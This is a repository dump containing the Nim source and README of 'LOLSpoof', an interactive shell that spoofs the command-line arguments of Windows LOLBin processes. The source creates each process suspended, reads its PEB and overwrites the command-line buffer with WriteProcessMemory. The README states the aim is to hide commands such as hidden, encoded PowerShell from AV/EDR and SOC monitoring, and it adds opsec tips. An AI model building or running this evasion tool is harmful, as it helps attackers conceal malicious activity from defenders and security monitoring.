[
  {
    "path": "LOLSpoof.nim",
    "content": "import os\nimport winim\nimport rdstdin\nimport strutils\nimport strformat\n\n\nconst banner = \"\"\"\n _     _____ _      _____                    __ \n| |   |  _  | |    /  ___|                  / _|\n| |   | | | | |    \\ `--. _ __   ___   ___ | |_ \n| |   | | | | |     `--. \\ '_ \\ / _ \\ / _ \\|  _|\n| |___\\ \\_/ / |____/\\__/ / |_) | (_) | (_) | |  \n\\_____/\\___/\\_____/\\____/| .__/ \\___/ \\___/|_|  \n                         | |                    \n                         |_|                    \n\n    An interactive shell to spoof some LOLBins\n    try !help\n\"\"\"\n\nconst help = \"\"\"    \n\n    !exit    -> Exit \n    !cls     -> Clear the screen\n    !help    -> This help message\n\"\"\"\n\nconst prompt = \"[LOLSpoof] > \"\n\n\nproc onexit() {.noconv.} =\n    quit(0)\n\n\nproc executeSpoofedLolbin(realCmdlineN: string): bool =\n\n    # Create spoodef cmdline\n    var binary = realCmdlineN.split(\" \")[0]\n    var argsLen = len(realCmdlineN) - len(binary)\n    var spoofedCmdlineN = binary & ' '.repeat(argsLen)\n    var realCmdline = newWideCString(realCmdlineN)\n    var spoofedCmdline = newWideCString(spoofedCmdlineN)\n\n    # Create suspended process\n    var si: STARTUPINFOEX\n    var pi: PROCESS_INFORMATION\n    if CreateProcess(\n        NULL,\n        spoofedCmdline,\n        NULL,\n        NULL, \n        FALSE,\n        CREATE_SUSPENDED,\n        NULL,\n        NULL,\n        addr si.StartupInfo,\n        addr pi\n    ) != TRUE:\n        return false\n\n    # Get remote PEB address\n    var bi: PROCESS_BASIC_INFORMATION\n    var ret: DWORD\n    if NtQueryInformationProcess(\n        pi.hProcess,\n        0,\n        addr bi,\n        cast[windef.ULONG](sizeof(bi)),\n        addr ret\n    ) != 0:\n        return false\n    \n    # Get RTL_USER_PROCESS_PARAMETERS address\n    let peb = bi.PebBaseAddress\n    let processParametersOffset = cast[int](peb) + 0x20\n    var processParametersAddress: LPVOID\n    if ReadProcessMemory(pi.hProcess, cast[LPCVOID](processParametersOffset), addr processParametersAddress, 8, NULL) != TRUE:\n        return false\n\n    # Get CommandLine member address\n    var cmdLineOffset = cast[int](processParametersAddress) + 0x70 + 0x8\n    var cmdLineAddress: LPVOID\n    if ReadProcessMemory(pi.hProcess, cast[LPCVOID](cmdLineOffset), addr cmdLineAddress, 8, NULL) != TRUE:\n        return false\n    \n    # Change command line\n    if WriteProcessMemory(\n        pi.hProcess,\n        cast[LPVOID](cmdLineAddress),\n        cast[LPCVOID](realCmdline),\n        len(realCmdline) * 2,\n        NULL\n    ) != TRUE:\n        return false\n\n    # Resume process\n    ResumeThread(pi.hThread)\n    WaitForSingleObject(pi.hThread, INFINITE)\n    return true\n\n\nproc handleSpecialCommand(cmd: string) =\n    if cmd == \"!exit\":\n        onexit()\n    elif cmd == \"!cls\":\n        discard execShellCmd(\"cls\")\n    elif cmd == \"!help\":\n        echo help\n    else:\n        echo fmt\"Could not parse command: {cmd}\"\n\n\nwhen isMainModule:\n    # Handle Ctrl+C\n    setControlCHook(onexit)\n    # Print help\n    echo banner\n    while true:\n        # Get and parse command\n        var cmdline = readLineFromStdin(prompt)\n        cmdline = cmdline.strip(trailing=false)\n        if cmdline == \"\":\n            continue \n        # Handle special command  \n        if cmdline.startsWith(\"!\"):\n            handleSpecialCommand(cmdline) \n            continue    \n        var cmdlineSeq = cmdline.split(\" \")\n        # Find LOLBin and reconstruct commandline\n        var binary = findExe(cmdlineSeq[0])\n        if binary == \"\":\n            echo fmt\"Could not find binary: {cmdlineSeq[0]}\"\n            continue\n        cmdlineSeq[0] = binary\n        cmdline = join(cmdlineSeq, \" \")\n        # Fire in the hole !\n        if not executeSpoofedLolbin(cmdline):\n            echo fmt\"Could not spoof binary: {cmdlineSeq[0]}\"\n\n\n"
  },
  {
    "path": "README.md",
    "content": "\n# LOLSpoof\n\nLOLSpoof is a an interactive shell program that automatically spoof the command line arguments of the spawned process.\nJust call your incriminate-looking command line LOLBin (e.g. `powershell -w hidden -enc ZwBlAHQALQBwAHIAbwBjAGUA....`) and LOLSpoof will ensure that the process creation telemetry appears legitimate and clear.\n\n![](/Example.png)\n\n> Use only for 64-bit LOLBins\n\n## Why\nProcess command line is a very monitored telemetry, being thoroughly inspected by AV/EDRs, SOC analysts or threat hunters.\n\n## How\n1. Prepares the spoofed command line out of the real one: `lolbin.exe \" \" * sizeof(real arguments)`\n2. Spawns that suspended LOLBin with the spoofed command line\n3. Gets the remote PEB address\n4. Gets the address of RTL_USER_PROCESS_PARAMETERS struct\n5. Gets the address of the command line unicode buffer\n6. Overrides the fake command line with the real one\n7. Resumes the main thread\n\n## Opsec considerations\nAlthough this simple technique helps to bypass command line detection, it may introduce other suspicious telemetry:\n1. Creation of suspended process\n2. The new process has trailing spaces (but it's really easy to make it a repeated character or even random data instead)\n3. Write to the spawned process with WriteProcessMemory\n\n## Build\nBuilt with Nim 1.6.12 (compiling with Nim 2.X yields errors!)\n\n`nimble install winim`\n\n## Known issue\nPrograms that clear or change the previous printed console messages (such as `timeout.exe 10`) breaks the program. when such commands are employed, you'll need to restart the console. \nDon't know how to fix that, open to suggestions."
  }
]